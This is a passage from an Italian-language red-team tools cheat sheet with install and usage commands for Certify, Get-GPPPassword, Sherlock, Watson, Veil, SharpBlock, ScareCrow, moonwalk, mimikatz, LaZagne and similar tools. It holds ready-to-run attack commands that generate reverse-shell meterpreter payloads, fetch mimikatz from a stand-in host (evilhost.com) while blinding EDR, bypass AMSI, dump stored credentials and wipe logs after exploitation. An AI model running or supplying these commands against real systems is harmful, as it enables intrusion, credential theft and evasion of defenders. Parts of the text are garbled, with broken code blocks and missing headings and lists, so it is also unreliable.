[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Certify.exe")) | Out-File -Encoding ASCII C:\Temp\Certify.txt
Certify può quindi essere caricato in uno script PowerShell con il seguente (dove "aa..." viene sostituito con la stringa dell'assembly di Certify codificata in base64):``` $CertifyAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
Il metodo Main() e qualsiasi argomento possono quindi essere invocati come segue:```
[Certify.Program]::Main("find /vulnerable".Split())
Le istruzioni complete per la compilazione si trovano qui.
Utilizzo:```bash
Certify.exe find /vulnerable
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadmin
Full example walkthrough can be found [here](https://github.com/GhostPack/Certify#example-walkthrough).
### [🔙](#tool-list)[Get-GPPPassword](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1)
Get-GPPPassword è uno script PowerShell parte del toolkit PowerSploit, progettato per recuperare le password per gli account locali che vengono creati e gestiti utilizzando le preferenze dei criteri di gruppo (GPP).
Get-GPPPassword funziona cercando nella cartella SYSVOL sul controller di dominio eventuali file GPP che contengono informazioni sulle password. Una volta trovati questi file, decripta le informazioni delle password e le mostra all'utente.
**Installazione:**
Segui le [istruzioni di installazione](https://github.com/A-poc/RedTeam-Tools#powersploit) di PowerSploit da questo foglio degli strumenti.```bash
powershell.exe -ep bypass
Import-Module PowerSploit
Utilizzo:```bash
Get-GPPPassword
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
### [🔙](#tool-list)[Sherlock](https://github.com/rasta-mouse/Sherlock)
Script PowerShell per trovare rapidamente patch software mancanti per vulnerabilità di escalation dei privilegi locali.
*Supporta:*
- MS10-015 : User Mode to Ring (KiTrap0D)
- MS10-092 : Task Scheduler
- MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow
- MS13-081 : TrackPopupMenuEx Win32k NULL Page
- MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference
- MS15-051 : ClientCopyImage Win32k
- MS15-078 : Font Driver Buffer Overflow
- MS16-016 : 'mrxdav.sys' WebDAV
- MS16-032 : Secondary Logon Handle
- MS16-034 : Windows Kernel-Mode Drivers EoP
- MS16-135 : Win32k Elevation of Privilege
- CVE-2017-7199 : Nessus Agent 6.6.2 - 6.10.3 Priv Esc
**Install: (PowerShell)**```bash
# Git install
git clone https://github.com/rasta-mouse/Sherlock
# Load powershell module
Import-Module -Name C:\INSTALL_LOCATION\Sherlock\Sherlock.ps1
Utilizzo: (PowerShell)```bash
Find-AllVulns
Find-MS14058
*Immagine usata da https://vk9-sec.com/sherlock-find-missing-windows-patches-for-local-privilege-escalation/*
### [🔙](#tool-list)[Watson](https://github.com/rasta-mouse/Watson)
Watson è uno strumento .NET progettato per enumerare i KB mancanti e suggerire exploit per vulnerabilità di Privilege Escalation.
Ottimo per identificare patch mancanti e suggerire exploit che potrebbero essere utilizzati per sfruttare vulnerabilità note al fine di ottenere privilegi più elevati sul sistema.
**Installazione:**
Utilizzando [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Aprire il [progetto Watson .sln](https://github.com/rasta-mouse/Watson), scegliere "Release" e compilare.
**Utilizzo:**```bash
# Run all checks
Watson.exe
Testo dell'immagine tratto da https://github.com/rasta-mouse/Watson#usage
Uno strumento basato su C# che automatizza il processo di scoperta e sfruttamento dei DLL Hijack nei binari target.
I percorsi di hijack scoperti possono essere weaponizzati, durante un engagement, per eludere gli EDR.
Installazione:
Nota: i prerequisiti i e ii devono essere posizionati nella directory stessa di ImpulsiveDLLHijack.exe.
Informazioni sulla compilazione e configurazione:
ImpulsiveDLLHijack
E per le DLL di conferma:
Configurazione: Copiare le DLL di conferma (maldll32 e maldll64) nella directory di ImpulsiveDLLHijack.exe ed eseguire ImpulsiveDLLHijack.exe :))
Istruzioni di installazione da https://github.com/knight0x07/ImpulsiveDLLHijack#2-prerequisites
Utilizzo:```bash
ImpulsiveDLLHijack.exe -h
ImpulsiveDLLHijack.exe -path BINARY_PATH
Esempi di utilizzo possono essere trovati [qui](https://github.com/knight0x07/ImpulsiveDLLHijack#4-examples).
*Immagine tratta da https://github.com/knight0x07/ImpulsiveDLLHijack#4-examples*
### [🔙](#tool-list)[ADFSDump](https://github.com/mandiant/ADFSDump)
Uno strumento in C# per estrarre ogni genere di dati utili da AD FS.
Creato da Doug Bienstock [@doughsec](https://twitter.com/doughsec) mentre era in Mandiant FireEye.
Questo strumento è progettato per essere eseguito insieme a ADFSpoof. ADFSdump restituirà tutte le informazioni necessarie per generare token di sicurezza utilizzando ADFSpoof.
**Requisiti:**
- ADFSDump deve essere eseguito nel contesto utente dell'account di servizio di AD FS. Puoi ottenere queste informazioni elencando i processi in esecuzione sul server AD FS o dal risultato del cmdlet Get-ADFSProperties. Solo l'account di servizio di AD FS ha le autorizzazioni necessarie per accedere al database di configurazione. Nemmeno un amministratore di dominio può accedervi.
- ADFSDump presuppone che il servizio sia configurato per utilizzare il database interno di Windows (WID). Sebbene sarebbe banale supportare un server SQL esterno, questa funzionalità al momento non esiste.
- ADFSDump deve essere eseguito localmente su un server AD FS, NON su un proxy applicazione Web di AD FS. Il WID può essere accessibile solo localmente tramite una named pipe.
**Installazione: (Compilazione)**
ADFSDump è stato compilato su .NET 4.5 con Visual Studio 2017 Community Edition. Basta aprire il file .sln del progetto, scegliere "Release" e compilare.
**Utilizzo: (Flag)**```bash
# The Active Directory domain to target. Defaults to the current domain.
/domain:
# The Domain Controller to target. Defaults to the current DC.
/server:
# Switch. Toggle to disable outputting the DKM key.
/nokey
# (optional) SQL connection string if ADFS is using remote MS SQL rather than WID.
/database
Blog - Esplorando l'attacco Golden SAML contro ADFS
Immagine utilizzata da https://www.orangecyberdefense.com/global/blog/cloud/exploring-the-golden-saml-attack-against-adfs
BeRoot Project è uno strumento di post-exploitation per verificare configurazioni errate comuni al fine di trovare un modo per elevare i nostri privilegi.
L'obiettivo di BeRoot è di produrre solo potenziali opportunità di elevazione dei privilegi e non una valutazione della configurazione degli endpoint.
Questo progetto funziona su Windows, Linux e Mac OS.
Installazione: (Linux)```bash git clone https://github.com/AlessandroZ/BeRoot cd BeRoot/Linux/
**Install: (Windows)**
Una versione precompilata di BeRoot può essere trovata [qui](https://github.com/AlessandroZ/BeRoot/releases).
**Utilizzo:**```bash
# Run BeRoot
python beroot.py
# Run BeRoot with user password (If you know the password use it, you could get more results)
python beroot.py --password super_strong_password
Ulteriori informazioni sono disponibili qui per:
Immagine usata da https://github.com/AlessandroZ/BeRoot
Un obfuscatore di comandi e script PowerShell compatibile con PowerShell v2.0+. Se un endpoint vittima è in grado di eseguire PowerShell, questo strumento è ottimo per creare script pesantemente offuscati.
Installazione:```bash git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
**Utilizzo:**```bash
./Invoke-Obfuscation
Veil è uno strumento per generare payload metasploit che aggirano le comuni soluzioni antivirus.
Può essere utilizzato per generare shellcode offuscato; per maggiori informazioni, consulta il blog ufficiale di veil framework.
Installazione: (Kali)```bash apt -y install veil /usr/share/veil/config/setup.sh --force --silent
**Installazione: (Git)**```bash
sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent
Uso:```bash
./Veil.py -t Ordnance --list-payloads
./Veil.py -t Ordnance --list-encoders
./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234
./Veil.py -t Evasion --list-payloads
./Veil.py -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chris
Gli autori di Veil hanno scritto un bel [post sul blog](https://www.veil-framework.com/veil-command-line-usage/) che spiega ulteriormente l'uso della riga di comando di ordnance ed evasion.
### [🔙](#tool-list)[SharpBlock](https://github.com/CCob/SharpBlock)
Un metodo per bypassare le DLL di proiezione attiva degli EDR impedendo l'esecuzione del punto di ingresso.
**Caratteristiche:**
- Blocca l'esecuzione del punto di ingresso delle DLL EDR, impedendo l'inserimento di hook EDR.
- Bypass AMSI senza patch, non rilevabile dagli scanner che cercano patch del codice Amsi.dll in fase di esecuzione.
- Processo host che viene sostituito con un PE impiantato che può essere caricato da disco, HTTP o named pipe (Cobalt Strike).
- Il processo impiantato è nascosto per aiutare a eludere gli scanner che cercano processi svuotati.
- Gli argomenti della riga di comando vengono spoofati e impiantati dopo la creazione del processo utilizzando un metodo furtivo di rilevamento EDR.
- Bypass ETW senza patch.
- Blocca l'invocazione di NtProtectVirtualMemory quando il chiamato si trova nell'intervallo dello spazio degli indirizzi di una DLL bloccata.
**Installazione:**
Utilizzare [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/) per compilare il binario SharpBlock.
Aprire il [progetto .sln](https://github.com/CCob/SharpBlock) di SharpBlock, scegliere "Release" e compilare.
**Utilizzo:**```bash
# Launch mimikatz over HTTP using notepad as the host process, blocking SylantStrike's DLL
SharpBlock -e http://evilhost.com/mimikatz.bin -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
# Launch mimikatz using Cobalt Strike beacon over named pipe using notepad as the host process, blocking SylantStrike's DLL
execute-assembly SharpBlock.exe -e \\.\pipe\mimi -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
upload_file /home/haxor/mimikatz.exe \\.\pipe\mimi
Bel post del blog di PenTestPartners qui.
Immagine tratta da https://youtu.be/0W9wkamknfM
Alcatraz è un offuscatore binario x64 con GUI in grado di offuscare vari file pe diversi, tra cui:
Alcune funzionalità di offuscamento supportate includono:
Installazione: (Requisiti)
Installazione: https://vcpkg.io/en/getting-started.html```bash vcpkg.exe install asmjit:x64-windows vcpkg.exe install zydis:x64-windows
**Utilizzo:**
Utilizzo dell'interfaccia grafica per offuscare un binario:
1. Carica un binario facendo clic su `file` nell'angolo in alto a sinistra.
2. Aggiungi funzioni espandendo l'albero `Functions`. (Puoi cercare inserendo il nome nella barra di ricerca in alto)
3. Premi `compile` (**Nota:** *Offuscare molte funzioni potrebbe richiedere alcuni secondi*)
*Immagine utilizzata da https://github.com/weak1337/Alcatraz*
### [🔙](#tool-list)[Mangle](https://github.com/optiv/Mangle)
Mangle è uno strumento che manipola aspetti degli eseguibili compilati (.exe o DLL).
Mangle può rimuovere stringhe basate su noti Indicatori di Compromissione (IoC) e sostituirle con caratteri casuali, modificare il file aumentandone le dimensioni per evitare gli EDR, e può clonare certificati di firma del codice da file legittimi.
In questo modo, Mangle aiuta i loader a eludere gli scanner su disco e in memoria.
**Installazione:**
Il primo passo, come sempre, è clonare il repository. Prima di compilare Mangle, è necessario installare le dipendenze. Per installarle, esegui i seguenti comandi:```
go get github.com/Binject/debug/pe
Quindi costruiscilo``` git clone https://github.com/optiv/Mangle cd Mangle go build Mangle.go
**Uso:**```bash
-C string
Path to the file containing the certificate you want to clone
-I string
Path to the orginal file
-M Edit the PE file to strip out Go indicators
-O string
The new file name
-S int
How many MBs to increase the file by
Le informazioni complete sull'utilizzo possono essere trovate qui.
Immagine tratta da https://github.com/optiv/Mangle
AMSI.fail è un ottimo sito web che può essere utilizzato per generare frammenti PowerShell offuscati che rompono o disabilitano AMSI per il processo corrente.
I frammenti vengono selezionati casualmente da un piccolo pool di tecniche/variazioni prima di essere offuscati. Ogni frammento viene offuscato al momento dell'esecuzione/richiesta in modo che nessun output generato condivida le stesse firme.
Un bel blog di F-Secure che spiega AMSI qui.
Immagine tratta da http://amsi.fail/
ScareCrow è un framework per la creazione di payload per il side loading (non l'iniezione) in un processo Windows legittimo (bypassando i controlli Application Whitelisting).
Una volta che il caricatore DLL viene caricato in memoria, utilizza una tecnica per rimuovere l'hook dell'EDR dalle DLL di sistema in esecuzione nella memoria del processo.
Quando eseguito, ScareCrow copia i byte delle DLL di sistema memorizzate su disco in C:\Windows\System32\. Queste DLL sono memorizzate su disco "pulite" dagli hook dell'EDR perché vengono utilizzate dal sistema per caricare una copia invariata in un nuovo processo quando viene generato. Poiché gli EDR agganciano solo questi processi in memoria, rimangono inalterati.
Belli blog per conoscere le tecniche utilizzate da ScareCrow:
Installazione:
ScareCrow richiede golang 1.16.1 o successivo per compilare i loader.```bash
git clone https://github.com/optiv/ScareCrow cd ScareCrow
go get github.com/fatih/color go get github.com/yeka/zip go get github.com/josephspurrier/goversioninfo
openssl osslsigncode mingw-w64
go build ScareCrow.go
**Utilizzo:**```
Usage of ./ScareCrow:
-I string
Path to the raw 64-bit shellcode.
-Loader string
Sets the type of process that will sideload the malicious payload:
[*] binary - Generates a binary based payload. (This type does not benefit from any sideloading)
[*] control - Loads a hidden control applet - the process name would be rundll32 if -O is specified a JScript loader will be generated.
[*] dll - Generates just a DLL file. Can be executed with commands such as rundll32 or regsvr32 with DllRegisterServer, DllGetClassObject as export functions.
[*] excel - Loads into a hidden Excel process using a JScript loader.
[*] msiexec - Loads into MSIexec process using a JScript loader.
[*] wscript - Loads into WScript process using a JScript loader. (default "binary")
-O string
Name of output file (e.g. loader.js or loader.hta). If Loader is set to dll or binary this option is not required.
-configfile string
The path to a json based configuration file to generate custom file attributes. This will not use the default ones.
-console
Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature.
...
Le informazioni complete sull'utilizzo si trovano qui.
Immagine tratta da https://github.com/optiv/ScareCrow
moonwalk è un eseguibile singolo binario di 400 KB in grado di cancellare le tue tracce durante il penetration testing di una macchina Unix.
Salva lo stato dei log di sistema prima dello sfruttamento e ripristina quello stato, inclusi i timestamp del filesystem dopo lo sfruttamento, lasciando zero tracce di un fantasma nella shell.
Installazione:```bash curl -L https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_linux -o moonwalk
**Utilizzo:**```bash
# Start moonwalk straight after getting a shell on the victim Linux endpoint
curl -L https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_linux -o moonwalk
chmod +x moonwalk
moonwalk start
# Once you are finished, clear your traces
moonwalk finish
Immagine tratta da https://github.com/mufeedvh/moonwalk
Ottimo strumento per ottenere accesso a password hashate e in chiaro su un endpoint vittima. Una volta ottenuto l'accesso privilegiato a un sistema, scarica questo strumento per raccogliere alcune credenziali.
Installazione:
mimikatz.exe si trova nella cartella x64.Utilizzo:```bash .\mimikatz.exe privilege::debug
### [🔙](#tool-list)[LaZagne](https://github.com/AlessandroZ/LaZagne)
Ottimo strumento per estrarre le password memorizzate localmente da browser, database, giochi, email, git, wifi, ecc.
**Installazione: (Binario)**
È possibile installare il binario standalone da [qui](https://github.com/AlessandroZ/LaZagne/releases/).
**Utilizzo:**```bash
# Launch all modes
.\laZagne.exe all
# Launch only a specific module
.\laZagne.exe browsers
# Launch only a specific software script
.\laZagne.exe browsers -firefox
